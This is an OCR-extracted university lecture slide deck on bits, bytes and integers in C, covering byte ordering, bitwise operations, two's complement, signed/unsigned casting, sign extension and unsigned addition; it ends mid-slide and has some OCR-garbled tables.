olmocr_science_pdfs
2024-12-07
2024-12-07
a0d78e6be0afefb4f3cc626fc53d5d4a7333c277
[REMOVED]
{"Source-Url": "https://cses.informatik.hu-berlin.de/pubs/2011/ectel/adding_weights_to_constraints_in_intelligent_tutoring_systems_does_it_improve_the_error_diagnosis.pdf", "len_cl100k_base": 8377, "olmocr-version": "0.1.50", "pdf-total-pages": 15, "total-fallback-pages": 0, "total-input-tokens": 34883, "total-output-tokens": 9827, "length": "2e13", "weborganizer": {"__label__adult": 0.0007023811340332031, "__label__art_design": 0.001087188720703125, "__label__crime_law": 0.0009703636169433594, "__label__education_jobs": 0.1805419921875, "__label__entertainment": 0.0002579689025878906, "__label__fashion_beauty": 0.0004813671112060547, "__label__finance_business": 0.001255035400390625, "__label__food_dining": 0.0009946823120117188, "__label__games": 0.001898765563964844, "__label__hardware": 0.0015239715576171875, "__label__health": 0.0016012191772460938, "__label__history": 0.0009756088256835938, "__label__home_hobbies": 0.0003466606140136719, "__label__industrial": 0.0013341903686523438, "__label__literature": 0.0017795562744140625, "__label__politics": 0.000835418701171875, "__label__religion": 0.0011148452758789062, "__label__science_tech": 0.1473388671875, "__label__social_life": 0.0005712509155273438, "__label__software": 0.021820068359375, "__label__software_dev": 0.6298828125, "__label__sports_fitness": 0.0006241798400878906, "__label__transportation": 0.0015001296997070312, "__label__travel": 0.0004625320434570313}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 41180, 0.03242]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 41180, 0.4683]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 41180, 0.88681]], "google_gemma-3-12b-it_contains_pii": [[0, 2383, false], [2383, 5350, null], [5350, 8789, null], [8789, 12163, null], [12163, 15006, null], [15006, 18142, null], [18142, 21153, null], [21153, 23476, null], [23476, 26545, null], [26545, 29689, null], [29689, 32364, null], [32364, 35217, null], [35217, 37799, null], [37799, 40374, null], [40374, 41180, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2383, true], [2383, 5350, null], [5350, 8789, null], [8789, 12163, null], [12163, 15006, null], [15006, 18142, null], [18142, 21153, null], [21153, 23476, null], [23476, 26545, null], [26545, 29689, null], [29689, 32364, null], [32364, 35217, null], [35217, 37799, null], [37799, 40374, null], [40374, 41180, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 41180, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 41180, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 41180, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 41180, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 41180, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 41180, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 41180, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 41180, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 41180, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 41180, null]], "pdf_page_numbers": [[0, 2383, 1], [2383, 5350, 2], [5350, 8789, 3], [8789, 12163, 4], [12163, 15006, 5], [15006, 18142, 6], [18142, 21153, 7], [21153, 23476, 8], [23476, 26545, 9], [26545, 29689, 10], [29689, 32364, 11], [32364, 35217, 12], [35217, 37799, 13], [37799, 40374, 14], [40374, 41180, 15]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 41180, 0.17297]]}
olmocr_science_pdfs
2024-11-29
2024-11-29
faa3237485c0b702c1a7eaf1291ddb305c7fd00b
Bits, Bytes, and Integers Spring, 2014 Euiseong Seo (euiseong@skku.edu) This Powerpoint slides are modified from its original version available at http://www.cs.cmu.edu/afs/cs/academic/class/15213-s09/www/lectures/ppt-sources/ Bits, Bytes, and Integers - Representing information as bits - Bit-level manipulations - Integers - Representation: unsigned and signed - Conversion, casting - Expanding, truncating - Addition, negation, multiplication, shifting Summary BINARY REPRESENTATIONS Encoding Byte Values - Byte = 8 bits - Binary: 00000000_2 to 11111111_2 - Decimal: 0_10 to 255_10 - Hexadecimal: 00_16 to FF_16 - Base 16 number representation - Use characters ‘0’ to ‘9’ and ‘A’ to ‘F’ - Write FA1D37B16 in C as - 0xFA1D37B - 0xfa1d37b Programs refer to virtual addresses - Conceptually very large array of bytes - Actually implemented with hierarchy of different memory types - System provides address space private to particular “process” - Program being executed - Program can clobber its own data, but not that of others Compiler + run-time system control allocation - Where different program objects should be stored - All allocation within single virtual address space Machine Words - Machine has “Word Size” - Nominal size of integer-valued data - Including addresses - Most current machines use 32 bits (4 bytes) words - Limits addresses to 4GB - Becoming too small for memory-intensive applications - High-end systems use 64 bits (8 bytes) words - Potential address space ≈ 1.8 × 10^{19} bytes - x86-64 machines support 48-bit addresses: 256 Terabytes - Machines support multiple data formats - Fractions or multiples of word size - Always integral number of bytes Addresses specify byte locations - Address of first byte in word - Addresses of successive words differ by 4 (32-bit) or 8 (64-bit) Data Sizes - Computer and compiler support multiple data formats - Using different ways to encode data - Integers and floating point - Using different lengths # Data Representations <table> <thead> <tr> <th>C Data Type</th> <th>Typical 32-bit</th> <th>Intel IA32</th> <th>x86-64</th> </tr> </thead> <tbody> <tr> <td>char</td> <td>1</td> <td>1</td> <td>1</td> </tr> <tr> <td>short</td> <td>2</td> <td>2</td> <td>2</td> </tr> <tr> <td>int</td> <td>4</td> <td>4</td> <td>4</td> </tr> <tr> <td>long</td> <td>4</td> <td>4</td> <td>8</td> </tr> <tr> <td>long long</td> <td>8</td> <td>8</td> <td>8</td> </tr> <tr> <td>float</td> <td>4</td> <td>4</td> <td>4</td> </tr> <tr> <td>double</td> <td>8</td> <td>8</td> <td>8</td> </tr> <tr> <td>long double</td> <td>8</td> <td>10/12</td> <td>10/16</td> </tr> <tr> <td>pointer</td> <td>4</td> <td>4</td> <td>8</td> </tr> </tbody> </table> A multi-byte object is stored as a contiguous sequence of bytes - With a address of the object given by the smallest address of the bytes How should bytes within a multi-byte word be ordered in memory? Conventions - Big Endian: Sun, PPC Mac, Internet - Least significant byte has highest address - Little Endian: x86 - Least significant byte has lowest address **BYTE ORDERING EXAMPLE** - **Big Endian** - Least significant byte has highest address - **Little Endian** - Least significant byte has lowest address - **Example** - Variable x has 4-byte representation 0x01234567 - Address given by &x is 0x100 <table> <thead> <tr> <th>Big Endian</th> <th>0x100</th> <th>0x101</th> <th>0x102</th> <th>0x103</th> </tr> </thead> <tbody> <tr> <td></td> <td>01</td> <td>23</td> <td>45</td> <td>67</td> </tr> </tbody> </table> <table> <thead> <tr> <th>Little Endian</th> <th>0x100</th> <th>0x101</th> <th>0x102</th> <th>0x103</th> </tr> </thead> <tbody> <tr> <td></td> <td>67</td> <td>45</td> <td>23</td> <td>01</td> </tr> </tbody> </table> READING BYTE-REVERSED LISTINGS ► Disassembly ○ Text representation of binary machine code ○ Generated by program that reads the machine code ► Example Fragment <table> <thead> <tr> <th>Address</th> <th>Instruction Code</th> <th>Assembly Rendition</th> </tr> </thead> <tbody> <tr> <td>8048365:</td> <td>5b</td> <td>pop %ebx</td> </tr> <tr> <td>8048366:</td> <td>81 c3 ab 12 00 00</td> <td>add $0x12ab,%ebx</td> </tr> <tr> <td>804836c:</td> <td>83 bb 28 00 00 00 00</td> <td>cmpl $0x0,0x28(%ebx)</td> </tr> </tbody> </table> ► Deciphering Numbers ○ Value: 0x12ab ○ Pad to 32 bits: 0x000012ab ○ Split into bytes: 00 00 12 ab ○ Reverse: ab 12 00 00 Examining Data Representations - Code to print byte representation of data - Textbook Figure 2.4 at page 42 - Casting pointer to *unsigned char* creates byte array ```c typedef unsigned char *pointer; void show_bytes(pointer start, int len){ int i; for (i = 0; i < len; i++) printf("%p\t0x%.2x\n", start+i, start[i]); printf("\n"); } ``` int a = 15213; printf("int a = 15213;\n"); show_bytes((pointer) &a, sizeof(int)); Result (Linux): int a = 15213; 0x11ffffcb8 0x6d 0x11ffffcb9 0x3b 0x11ffffcbb 0x00 ### Representing Integers - **Decimal**: 15213 - **Binary**: 0011 1011 0110 1101 - **Hex**: 3B 6D <table> <thead> <tr> <th>IA32, x86-64</th> <th>Sun</th> </tr> </thead> <tbody> <tr> <td>6D</td> <td>00</td> </tr> <tr> <td>3B</td> <td>00</td> </tr> <tr> <td>00</td> <td>3B</td> </tr> <tr> <td>00</td> <td>6D</td> </tr> </tbody> </table> **Int A = 15213;** <table> <thead> <tr> <th>IA32, x86-64</th> <th>Sun</th> </tr> </thead> <tbody> <tr> <td>93</td> <td>FF</td> </tr> <tr> <td>C4</td> <td>FF</td> </tr> <tr> <td>FF</td> <td>C4</td> </tr> <tr> <td>FF</td> <td>93</td> </tr> </tbody> </table> **Int B = -15213;** **Long int C = 15213;** Two’s complement representation int B = -15213; int *P = &B; Different compilers & machines assign different locations to objects Representing Strings - Strings in C - Represented by array of characters - Each character encoded in ASCII format - Standard 7-bit encoding of character set - Character “0” has code 0x30 - Digit i has code 0x30+i - String should be null-terminated - Final character = 0 - Compatibility - Byte ordering not an issue char S[6] = "18243"; Linux/Alpha <p>| | | | | | |</p> <table> <thead> <tr> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> </tr> </thead> <tbody> <tr> <td>31</td> <td>38</td> <td>32</td> <td>34</td> <td>33</td> <td>00</td> </tr> </tbody> </table> Sun <p>| | | | | | |</p> <table> <thead> <tr> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> </tr> </thead> <tbody> <tr> <td>31</td> <td>38</td> <td>32</td> <td>34</td> <td>33</td> <td>00</td> </tr> </tbody> </table> Machine-Level Code Representation - Encode Program as Sequence of Instructions - Each simple operation - Arithmetic operation - Read or write memory - Conditional branch - Instructions encoded as bytes - Alpha’s, Sun’s, Mac’s use 4 byte instructions - Reduced Instruction Set Computer (RISC) - PC’s use variable length instructions - Complex Instruction Set Computer (CISC) - Different instruction types and encodings for different machines - Most code not binary compatible - Programs are Byte Sequences Too! Representing Instructions - For this example, Alpha & Sun use two 4-byte instructions - Use differing numbers of instructions in other cases - PC uses 7 instructions with lengths 1, 2, and 3 bytes - Same for NT and for Linux - NT / Linux not fully binary compatible ``` int sum(int x, int y) { return x+y; } ``` <table> <thead> <tr> <th>Alpha sum</th> <th>Sun sum</th> <th>PC sum</th> </tr> </thead> <tbody> <tr> <td>00</td> <td>81</td> <td>55</td> </tr> <tr> <td>00</td> <td>C3</td> <td>89</td> </tr> <tr> <td>30</td> <td>E0</td> <td>E5</td> </tr> <tr> <td>42</td> <td>08</td> <td>8B</td> </tr> <tr> <td>01</td> <td>90</td> <td>45</td> </tr> <tr> <td>80</td> <td>02</td> <td>0C</td> </tr> <tr> <td>FA</td> <td>00</td> <td>03</td> </tr> <tr> <td>6B</td> <td>09</td> <td>45</td> </tr> <tr> <td></td> <td></td> <td>08</td> </tr> <tr> <td></td> <td></td> <td>89</td> </tr> <tr> <td></td> <td></td> <td>EC</td> </tr> <tr> <td></td> <td></td> <td>5D</td> </tr> <tr> <td></td> <td></td> <td>C3</td> </tr> </tbody> </table> Bits, Bytes, and Integers - Representing information as bits - Bit-level manipulations - Integers - Representation: unsigned and signed - Conversion, casting - Expanding, truncating - Addition, negation, multiplication, shifting Summary ## Boolean Algebra - Developed by George Boole in 19th Century - Algebraic representation of logic - Encode “True” as 1 and “False” as 0 ### and <table> <thead> <tr> <th></th> <th>0</th> <th>1</th> </tr> </thead> <tbody> <tr> <td>0</td> <td>0</td> <td>0</td> </tr> <tr> <td>1</td> <td>0</td> <td>1</td> </tr> </tbody> </table> ### or <table> <thead> <tr> <th></th> <th>0</th> <th>1</th> </tr> </thead> <tbody> <tr> <td>0</td> <td>0</td> <td>1</td> </tr> <tr> <td>1</td> <td>1</td> <td>1</td> </tr> </tbody> </table> ### not <p>| | |</p> <table> <thead> <tr> <th></th> <th></th> </tr> </thead> <tbody> <tr> <td>0</td> <td>1</td> </tr> <tr> <td>1</td> <td>0</td> </tr> </tbody> </table> ### exclusive-or (xor) <table> <thead> <tr> <th></th> <th>0</th> <th>1</th> </tr> </thead> <tbody> <tr> <td>0</td> <td>0</td> <td>1</td> </tr> <tr> <td>1</td> <td>1</td> <td>0</td> </tr> </tbody> </table> General Boolean Algebras - Operate on Bit Vectors - Operations applied bitwise <p>| | | |</p> <table> <thead> <tr> <th></th> <th></th> <th></th> </tr> </thead> <tbody> <tr> <td>01101001 &amp; 01010101</td> <td>01101001</td> <td>01010101</td> </tr> <tr> <td>01101001</td> <td>01111101</td> <td>00111100</td> </tr> <tr> <td>01000001</td> <td>01111101</td> <td>01101001</td> </tr> </tbody> </table> - All of the Properties of Boolean Algebra Apply Bit-Level Operations in C Operations &, |, ~, ^ available in C - Apply to any “integral” data type - long, int, short, char, unsigned - View arguments as bit vectors - Arguments applied bit-wise Examples (char data type) - ~0x41 → 0xBE - ~01000001₂ → 10111110₂ - ~0x00 → 0xFF - ~00000000₂ → 11111111₂ - 0x69 & 0x55 → 0x41 - 01101001₂ & 01010101₂ → 01000001₂ - 0x69 | 0x55 → 0x7D - 01101001₂ | 01010101₂ → 01111101₂ Logic Operations in C Contrast to Logical Operators - &&, ||, ! - View 0 as “False” - Anything nonzero as “True” - Always return 0 or 1 - Early termination Examples (char data type) - !0x41 \rightarrow 0x00 - !0x00 \rightarrow 0x01 - !!0x41 \rightarrow 0x01 - 0x69 && 0x55 \rightarrow 0x01 - 0x69 || 0x55 \rightarrow 0x01 - p && *p \ (avoids null pointer access) **Shift Operations** - **Left Shift:** \( x << y \) - Shift bit-vector \( x \) left \( y \) positions - Throw away extra bits on left - Fill with 0’s on right - **Right Shift:** \( x >> y \) - Shift bit-vector \( x \) right \( y \) positions - Throw away extra bits on right - Logical shift - Fill with 0’s on left - Arithmetic shift - Replicate most significant bit on right - **Undefined Behavior** - Shift amount \( < 0 \) or \( \geq \) word size Cool Stuff with XOR - Bitwise xor is form of addition - With extra property that every value is its own additive inverse - $A \oplus A = 0$ ```c void funny(int *x, int *y) { *x = *x ^ *y; /* #1 */ *y = *x ^ *y; /* #2 */ *x = *x ^ *y; /* #3 */ } ``` <table> <thead> <tr> <th></th> <th>*x</th> <th>*y</th> </tr> </thead> <tbody> <tr> <td>Begin</td> <td>A</td> <td>B</td> </tr> <tr> <td>1</td> <td>$A \oplus B$</td> <td>B</td> </tr> <tr> <td>2</td> <td>$A \oplus B$</td> <td>$(A \oplus B) \oplus B = A$</td> </tr> <tr> <td>3</td> <td>$(A \oplus B) \oplus A = B$</td> <td>A</td> </tr> <tr> <td>End</td> <td>B</td> <td>A</td> </tr> </tbody> </table> SUMMARY ► It’s all about bits & bytes ○ Numbers ○ Programs ○ Text ► Different machines follow different conventions ○ Word size ○ Byte ordering ○ Representations and encoding ► Boolean algebra is mathematical basis ○ Basic form encodes “false” as 0, “true” as 1 ○ General form like bit-level operations in C • Good for representing & manipulating sets Bits, Bytes, and Integers - Representing information as bits - Bit-level manipulations - Integers - Representation: unsigned and signed - Conversion, casting - Expanding, truncating - Addition, negation, multiplication, shifting Summary # Encoding Integers ### Unsigned \[ B2U(X) = \sum_{i=0}^{w-1} x_i \cdot 2^i \] ### Two’s Complement \[ B2T(X) = -x_{w-1} \cdot 2^{w-1} + \sum_{i=0}^{w-2} x_i \cdot 2^i \] - For 2’s complement, most significant bit indicates sign - 0 for nonnegative - 1 for negative <table> <thead> <tr> <th></th> <th>Decimal</th> <th>Hex</th> <th>Binary</th> </tr> </thead> <tbody> <tr> <td>( x )</td> <td>15213</td> <td>3B 6D</td> <td>00111011 01101101</td> </tr> <tr> <td>( y )</td> <td>-15213</td> <td>C4 93</td> <td>11000100 10010011</td> </tr> </tbody> </table> ### Encoding Example **x = 15213: 00111011 01101101** **y = -15213: 11000100 10010011** <table> <thead> <tr> <th>Weight</th> <th>15213</th> <th>-15213</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>1</td> <td>1</td> </tr> <tr> <td>2</td> <td>0</td> <td>1</td> </tr> <tr> <td>4</td> <td>1</td> <td>0</td> </tr> <tr> <td>8</td> <td>1</td> <td>0</td> </tr> <tr> <td>16</td> <td>0</td> <td>1</td> </tr> <tr> <td>32</td> <td>1</td> <td>0</td> </tr> <tr> <td>64</td> <td>1</td> <td>0</td> </tr> <tr> <td>128</td> <td>0</td> <td>1</td> </tr> <tr> <td>256</td> <td>1</td> <td>0</td> </tr> <tr> <td>512</td> <td>1</td> <td>0</td> </tr> <tr> <td>1024</td> <td>0</td> <td>1</td> </tr> <tr> <td>2048</td> <td>1</td> <td>0</td> </tr> <tr> <td>4096</td> <td>1</td> <td>0</td> </tr> <tr> <td>8192</td> <td>1</td> <td>0</td> </tr> <tr> <td>16384</td> <td>0</td> <td>1</td> </tr> <tr> <td>-32768</td> <td>0</td> <td>1</td> </tr> </tbody> </table> **Sum** | 15213 | -15213 | **Numeric Ranges** - **Unsigned Values** - $U_{\text{Min}} = 0$ - 000...0 - $U_{\text{Max}} = 2^w - 1$ - 111...1 - **Two's Complement Values** - $T_{\text{Min}} = -2^{w-1}$ - 100...0 - $T_{\text{Max}} = 2^{w-1} - 1$ - 011...1 - **Other Values** - Minus 1 - 111...1 Values for $w = 16$ <table> <thead> <tr> <th></th> <th>Decimal</th> <th>Hex</th> <th>Binary</th> </tr> </thead> <tbody> <tr> <td>$U_{\text{Max}}$</td> <td>65535</td> <td>FF FF</td> <td>11111111 11111111</td> </tr> <tr> <td>$T_{\text{Max}}$</td> <td>32767</td> <td>7F FF</td> <td>01111111 11111111</td> </tr> <tr> <td>$T_{\text{Min}}$</td> <td>-32768</td> <td>80 00</td> <td>10000000 00000000</td> </tr> <tr> <td>-1</td> <td>-1</td> <td>FF FF</td> <td>11111111 11111111</td> </tr> <tr> <td>0</td> <td>0</td> <td>00 00</td> <td>00000000 00000000</td> </tr> </tbody> </table> ## Values for Different Word Sizes <table> <thead> <tr> <th>W</th> <th>8</th> <th>16</th> <th>32</th> <th>64</th> </tr> </thead> <tbody> <tr> <td>UMax</td> <td>255</td> <td>65,535</td> <td>4,294,967,295</td> <td>18,446,744,073,709,551,615</td> </tr> <tr> <td>Tmax</td> <td>127</td> <td>32,767</td> <td>2,147,483,647</td> <td>9,223,372,036,854,775,807</td> </tr> <tr> <td>Tmin</td> <td>-128</td> <td>-32,768</td> <td>-2,147,483,648</td> <td>-9,223,372,036,854,775,808</td> </tr> </tbody> </table> ### Observations - $|\text{TMin}| = \text{TMax} + 1$ - Asymmetric range - $\text{UMax} = 2 \times \text{TMax} + 1$ ### C Programming - `#include <limits.h>` - Declares constants, e.g., - `ULONG_MAX` - `LONG_MAX` - `LONG_MIN` - Values platform specific UNSIGNED & SIGNED NUMERIC VALUES - Equivalence - Same encodings for nonnegative values - Uniqueness - Every bit pattern represents unique integer value - Each representable integer has unique bit encoding ⇒ Can invert mappings - \( U2B(x) = B2U^{-1}(x) \) * Bit pattern for unsigned integer - \( T2B(x) = B2T^{-1}(x) \) * Bit pattern for two’s comp integer <table> <thead> <tr> <th>X</th> <th>B2U(X)</th> <th>B2T(X)</th> </tr> </thead> <tbody> <tr> <td>0000</td> <td>0</td> <td>0</td> </tr> <tr> <td>0001</td> <td>1</td> <td>1</td> </tr> <tr> <td>0010</td> <td>2</td> <td>2</td> </tr> <tr> <td>0011</td> <td>3</td> <td>3</td> </tr> <tr> <td>0100</td> <td>4</td> <td>4</td> </tr> <tr> <td>0101</td> <td>5</td> <td>5</td> </tr> <tr> <td>0110</td> <td>6</td> <td>6</td> </tr> <tr> <td>0111</td> <td>7</td> <td>7</td> </tr> <tr> <td>1000</td> <td>8</td> <td>-8</td> </tr> <tr> <td>1001</td> <td>9</td> <td>-7</td> </tr> <tr> <td>1010</td> <td>10</td> <td>-6</td> </tr> <tr> <td>1011</td> <td>11</td> <td>-5</td> </tr> <tr> <td>1100</td> <td>12</td> <td>-4</td> </tr> <tr> <td>1101</td> <td>13</td> <td>-3</td> </tr> <tr> <td>1110</td> <td>14</td> <td>-2</td> </tr> <tr> <td>1111</td> <td>15</td> <td>-1</td> </tr> </tbody> </table> Bits, Bytes, and Integers - Representing information as bits - Bit-level manipulations - Integers - Representation: unsigned and signed - Conversion, casting - Expanding, truncating - Addition, negation, multiplication, shifting - Summary Mappings between unsigned and two’s complement numbers - keep bit representations and reinterpret # Mapping Signed ↔ Unsigned <table> <thead> <tr> <th>Bits</th> <th>Signed</th> <th>Unsigned</th> </tr> </thead> <tbody> <tr> <td>0000</td> <td>0</td> <td>0</td> </tr> <tr> <td>0001</td> <td>1</td> <td>1</td> </tr> <tr> <td>0010</td> <td>2</td> <td>2</td> </tr> <tr> <td>0011</td> <td>3</td> <td>3</td> </tr> <tr> <td>0100</td> <td>4</td> <td>4</td> </tr> <tr> <td>0101</td> <td>5</td> <td>5</td> </tr> <tr> <td>0110</td> <td>6</td> <td>6</td> </tr> <tr> <td>0111</td> <td>7</td> <td>7</td> </tr> <tr> <td>1000</td> <td>-8</td> <td>8</td> </tr> <tr> <td>1001</td> <td>-7</td> <td>9</td> </tr> <tr> <td>1010</td> <td>-6</td> <td>10</td> </tr> <tr> <td>1011</td> <td>-5</td> <td>11</td> </tr> <tr> <td>1100</td> <td>-4</td> <td>12</td> </tr> <tr> <td>1101</td> <td>-3</td> <td>13</td> </tr> <tr> <td>1110</td> <td>-2</td> <td>14</td> </tr> <tr> <td>1111</td> <td>-1</td> <td>15</td> </tr> </tbody> </table> # Mapping Signed ↔ Unsigned <table> <thead> <tr> <th>Bits</th> <th>Signed</th> <th>Unsigned</th> </tr> </thead> <tbody> <tr> <td>0000</td> <td>0</td> <td>0</td> </tr> <tr> <td>0001</td> <td>1</td> <td>1</td> </tr> <tr> <td>0010</td> <td>2</td> <td>2</td> </tr> <tr> <td>0011</td> <td>3</td> <td>3</td> </tr> <tr> <td>0100</td> <td>4</td> <td>4</td> </tr> <tr> <td>0101</td> <td>5</td> <td>5</td> </tr> <tr> <td>0110</td> <td>6</td> <td>6</td> </tr> <tr> <td>0111</td> <td>7</td> <td>7</td> </tr> <tr> <td>1000</td> <td>-8</td> <td>8</td> </tr> <tr> <td>1001</td> <td>-7</td> <td>9</td> </tr> <tr> <td>1010</td> <td>-6</td> <td>10</td> </tr> <tr> <td>1011</td> <td>-5</td> <td>11</td> </tr> <tr> <td>1100</td> <td>-4</td> <td>12</td> </tr> <tr> <td>1101</td> <td>-3</td> <td>13</td> </tr> <tr> <td>1110</td> <td>-2</td> <td>14</td> </tr> <tr> <td>1111</td> <td>-1</td> <td>15</td> </tr> </tbody> </table> **Relation between Signed & Unsigned** Two’s Complement \( \rightarrow \) Unsigned \( \rightarrow \) + \[ x \rightarrow T2B \rightarrow B2U \rightarrow u_x \] Maintain Same Bit Pattern \[ \begin{align*} ux & = \begin{cases} x & x \geq 0 \\ x + 2^w & x < 0 \end{cases} \end{align*} \] Large negative weight becomes Large positive weight 2’s Comp. → Unsigned - Ordering Inversion - Negative → Big Positive **Signed vs. Unsigned in C** **Constants** - By default are considered to be signed integers - Unsigned if have “U” as suffix - `0U`, `4294967259U` **Casting** - Explicit casting between signed & unsigned same as `U2T` and `T2U` - `int tx, ty;` - `unsigned ux, uy;` - `tx = (int) ux;` - `uy = (unsigned) ty;` - Implicit casting also occurs via assignments and procedure calls - `tx = ux;` - `uy = ty;` Casting Surprises Expression Evaluation - If there is a mix of unsigned and signed in single expression - Signed values implicitly cast to unsigned - Including comparison operations <, >, ==, <=, >= - Example: \( w = 32; TMIN = -2,147,483,648; TMAX = 2,147,483,647 \) <table> <thead> <tr> <th>Constant\textsubscript{1}</th> <th>Constant\textsubscript{2}</th> <th>Relation</th> <th>Evaluation</th> </tr> </thead> <tbody> <tr> <td>0</td> <td>0U</td> <td>==</td> <td>unsigned</td> </tr> <tr> <td>-1</td> <td>0</td> <td>&lt;</td> <td>signed</td> </tr> <tr> <td>-1</td> <td>0U</td> <td>&gt;</td> <td>unsigned</td> </tr> <tr> <td>2147483647</td> <td>-2147483648</td> <td>&gt;</td> <td>signed</td> </tr> <tr> <td>2147483647U</td> <td>2147483648</td> <td>&lt;</td> <td>unsigned</td> </tr> <tr> <td>-1</td> <td>-2</td> <td>&gt;</td> <td>signed</td> </tr> <tr> <td>(unsigned) -1</td> <td>-2</td> <td>&gt;</td> <td>unsigned</td> </tr> <tr> <td>2147483647</td> <td>2147483648U</td> <td>&lt;</td> <td>unsigned</td> </tr> <tr> <td>2147483647</td> <td>(int) 2147483648U</td> <td>&gt;</td> <td>signed</td> </tr> </tbody> </table> Casting Basic Rules - Bit pattern is maintained - But reinterpreted - Can have unexpected effects: adding or subtracting \(2^w\) - Expression containing signed and unsigned int - int is cast to unsigned!! Today: Bits, Bytes, and Integers - Representing information as bits - Bit-level manipulations - Integers - Representation: unsigned and signed - Conversion, casting - Expanding, truncating - Addition, negation, multiplication, shifting Summary **Sign Extension** - **Task:** - Given \( w \)-bit signed integer \( x \) - Convert it to \( w+k \)-bit integer with same value - **Rule:** - Make \( k \) copies of sign bit: - \( X = x_{w-1}, \ldots, x_{w-1}, x_{w-1}, x_{w-2}, \ldots, x_0 \) \[ \begin{array}{c} X = x_{w-1} \ldots x_{w-1} \ldots x_{w-2} \ldots x_0 \\ X' = \text{Extended } X \\ k \text{ copies of MSB} \end{array} \] ### Sign Extension Example - Converting from smaller to larger integer data type - C automatically performs sign extension <table> <thead> <tr> <th></th> <th>Decimal</th> <th>Hex</th> <th>Binary</th> </tr> </thead> <tbody> <tr> <td>x</td> <td>15123</td> <td>3B 6D</td> <td>00111011 01101101</td> </tr> <tr> <td>ix</td> <td>15123</td> <td>00 00</td> <td>00000000 00000000 00111011 01101101</td> </tr> <tr> <td>y</td> <td>-15123</td> <td>C4 93</td> <td>11000100 10010011</td> </tr> <tr> <td>iy</td> <td>-15123</td> <td>FF FF</td> <td>11111111 11111111 11000100 10010011</td> </tr> </tbody> </table> Prove correctness by induction on $k$ - Induction step - Extending by single bit maintains value - Key observation: $-2^w = -2^{w+1} + 2^w$ Truncating Numbers - Truncating a number can alter its value - A form of overflow - For an unsigned number of $x$ - Result of truncating it to $k$ bits is equivalent to computing $x \mod 2^k$ ```c int x = 50323; short int ux = (short) x; // -15213 int y = sx; // -15213 ``` $$B2U_k([x_k,x_{k-1},...,x_0]) = B2U_w([x_w,x_{w-1},...,x_0]) \mod 2^k$$ $$B2T_k([x_k,x_{k-1},...,x_0]) = U2T_k(B2U_w([x_w,x_{w-1},...,x_0]) \mod 2^k)$$ Expanding (e.g., short int to int) - Unsigned: zeros added - Signed: sign extension - Both yield expected result Truncating (e.g., unsigned to unsigned short) - Unsigned/signed: bits are truncated - Result reinterpreted - Unsigned: mod operation - Signed: similar to mod - For small numbers yields expected behavior **Advice on Singed and Unsigned** - Implicit conversion of singed to unsigned - Can lead to error or vulnerabilities - Be careful when using unsigned numbers - Java supports only signed integers - `>>` : arithmetic shift - `>>>` : logical shift Today: Bits, Bytes, and Integers - Representing information as bits - Bit-level manipulations - Integers - Representation: unsigned and signed - Conversion, casting - Expanding, truncating - Addition, negation, multiplication, shifting Summary Claim: following holds for 2’s complement \[ \sim x + 1 = -x \] Complement Observation: \[ \sim x + x = 1111\ldots111_2 = -1 \] <table> <thead> <tr> <th>x</th> <th>10011101</th> </tr> </thead> <tbody> <tr> <td>+ \sim x</td> <td>01100010</td> </tr> </tbody> </table> | -1 | 11111111 | Increment \[ \sim x + x + (\sim x + 1) = -1 + (\sim x + 1) \] \[ \sim x + 1 = -x \] ### Complement & Increment Examples \[ x = 15213 \] <table> <thead> <tr> <th>Decimal</th> <th>Hex</th> <th>Binary</th> </tr> </thead> <tbody> <tr> <td>( x )</td> <td>15213</td> <td>3B 6D 00111011 01101101</td> </tr> <tr> <td>( \sim x )</td> <td>-15214</td> <td>C4 92 11000100 10010010</td> </tr> <tr> <td>( \sim x + 1 )</td> <td>-15213</td> <td>C4 93 11000100 10010011</td> </tr> <tr> <td>( -x )</td> <td>-15213</td> <td>C4 93 11000100 10010011</td> </tr> </tbody> </table> \[ x = 0 \] <table> <thead> <tr> <th>Decimal</th> <th>Hex</th> <th>Binary</th> </tr> </thead> <tbody> <tr> <td>0</td> <td>0</td> <td>00 00 00000000 00000000</td> </tr> <tr> <td>( \sim 0 )</td> <td>-1</td> <td>FF FF 11111111 11111111</td> </tr> <tr> <td>( \sim 0 + 1 )</td> <td>0</td> <td>00 00 00000000 00000000</td> </tr> </tbody> </table> **Unsigned Addition** Operands: \( w \) bits \[ \begin{array}{c} u \\ + v \\ u + v \end{array} \] True Sum: \( w+1 \) bits \[ \begin{array}{c} u + v \end{array} \] Discard Carry: \( w \) bits \[ \begin{array}{c} \text{UAdd}_w(u, v) \end{array} \] - Standard addition function - Ignores CARRY output - Implements modular arithmetic \[ s = \text{UAdd}_w(u, v) = u + v \mod 2^w \] \[ \text{UAdd}_w(u, v) = \begin{cases} u + v & u + v < 2^w \\ u + v - 2^w & u + v \geq 2^w \end{cases} \] Visualizing Integer Addition - 4-bit integers $u, v$ - Compute true sum $\text{Add}_4(u, v)$ - Values increase linearly with $u$ and $v$ - Forms planar surface **Visualizing Unsigned Addition** - Wraps Around - If true sum \( \geq 2^w \) - At most once **True Sum** \[ 0 \rightarrow 2^w \rightarrow 2^{w+1} \] **Overflow** **Modular Sum** \[ UAdd_4(u, v) \] Mathematical Properties of $\text{UAdd}$ - Modular Addition Forms an 